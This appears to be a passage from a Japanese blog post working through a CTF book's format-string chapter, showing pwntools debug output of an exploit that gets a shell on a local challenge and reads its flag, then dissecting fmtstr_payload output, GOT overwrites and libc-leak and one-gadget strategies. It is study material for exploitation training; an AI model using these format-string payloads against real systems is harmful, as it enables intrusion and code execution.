24 75 75 61 25 31 35 31 38 xa%5px%18$xuua%x1518x 00000030 70 25 31 39 24 75 61 6e 28 40 40 00 00 00 00 00 xp%19x$uanx(@@·x····x 00000040 2c 40 40 00 00 00 00 00 2d 40 40 00 00 00 00 00 x,@@·x····x-@@·x····x 00000050 29 40 40 00 00 00 00 00 2a 40 40 00 00 00 00 00 x)@@·x····x*@@·x····x 00000060 0a x·x 00000061 [DEBUG] Sent 0x8 bytes: b'/ova/fu\n' [*] Switching to interactive mode @@@[DEBUG] Received 0x676 bytes: 00000000 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 03 x x x x ·x 00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x * 00000050 20 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x · x x x x 00000060 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x 00000070 20 20 20 20 20 20 20 20 20 20 20 20 20 20 b2 20 x x x x · x 00000080 20 20 20 60 20 20 20 20 20 20 20 20 20 20 20 20 x `x x x x 00000090 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 x x x x x * 00000670 20 00 61 28 40 40 x ·a(x@@x 00000676 \x03 \x00 \xb2 ` \x00a(@@$ l ls ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x18 bytes: b'flag.txt\n' b'rot13\n' b'rot13.sh\n' flag.txt rot13 rot13.sh $ cat flag.txt [DEBUG] Sent 0xd bytes: b'cat flag.txt\n' [DEBUG] Received 0x17 bytes: b'FLAG{DnN4K7ZqwHrU6lOE}\n' FLAG{DnN4K7ZqwHrU6lOE} $ [*] Closed connection to localhost port 10004

pwntoolsのfmtstr_payloadの出力を確認する
以前も一度使いましたが、今回から、pwntools の fmtstr_payload を使っていくことにしました。そこで、fmtstr_payload の出力を確認してみました。
一番最初の書式文字列攻撃の %17c%11$hhn%208c%12$hhn のうち、前半部分だけ、fmtstr_payload の結果を解析してみます。
fmtstr_payloadを使う場合、'%17c%11$hhn' は、fmtstr_payload(offset=8, writes={addr_got_puts: addr_main}, numbwritten=0, write_size="byte") となります。
offset は、今回の printf関数で出力するバッファが、引数の何番目になるかのオフセットで、writes の辞書は、書き換えたいアドレスをキーにして、書き換えたい値を設定します。numbwritten は、既に出力したバイト数なので、今回は 0 です。write_size は、何バイトずつ書き込むかを指定できて、int(4byte)、short(2byte)、byte(1byte)が指定できます。
fmtstr_payload の出力は、b'%225c%13$lln%48c%14$hhn%47c%15$hhnaaaaba\x18@@\x00\x00\x00\x00\x00\x19@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00' でした。
一応、225=0xe1、225+48=0x111、225+48+47=0x140 です。また、後半のアドレスは、0x404018、0x404019、0x40401a です。最初の ll は8byteを0で初期化するためだと思います。次の 0x111 の上位バイトは、hhn なので、たぶん、無視されることを利用しているんだと思います。次の 0x140 も同じです。
今後は、fmtstr_payload を使っていくことにします。
5.2:書式文字列攻撃
ここでは、書式文字列攻撃の理論的なことが解説されています。基本的なところから丁寧に解説されていますが、ここでは割愛します。
5.3:攻略
気になる模範解答です。
main関数に戻し、libc のアドレスをリークし、最後は、One-gadget RCE を使っていました。ただし、main関数に戻る書き込みと、libc のアドレスリークは、1回の書式文字列攻撃で行っていました。なるほどです。
libc のアドレスリークについては、私は、setvbuf関数の GOT を読み出しましたが、模範解答では、GOT でもいいが、対象のアドレスをバッファに置く必要があり、その引数の位置を指定するという方法より簡単な方法があると説明されています。スタックに存在する libc のアドレスを読み出せば、バッファにアドレスを置く手間が省けると言っています。具体的には、main関数のリターンアドレスを読み出す方が簡単だと言っています。main関数は、libc の __libc_start_main() から call されているので、その次のアドレスが読み出せれば、libc のベースアドレスを求めることが出来ます。確かにそうですね。
5.4:Stack-smashing protection
Stack-smashing protection について、丁寧に説明されています。略して、SSP と呼ばれたり、スタックカナリアと呼ばれたりします。ここでは、割愛します。
以上で、第5章「rot13(書式文字列攻撃)」は終了です。
おわりに
引き続き、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。今回は、第5章「rot13(書式文字列攻撃)」をやりました。
次回は、第6章「birdcage(関数テーブルの書き換えによる攻撃)」を進める予定です。
最後になりましたが、エンジニアグループのランキングに参加中です。
気楽にポチッとよろしくお願いいたします🙇
今回は以上です!
最後までお読みいただき、ありがとうございました。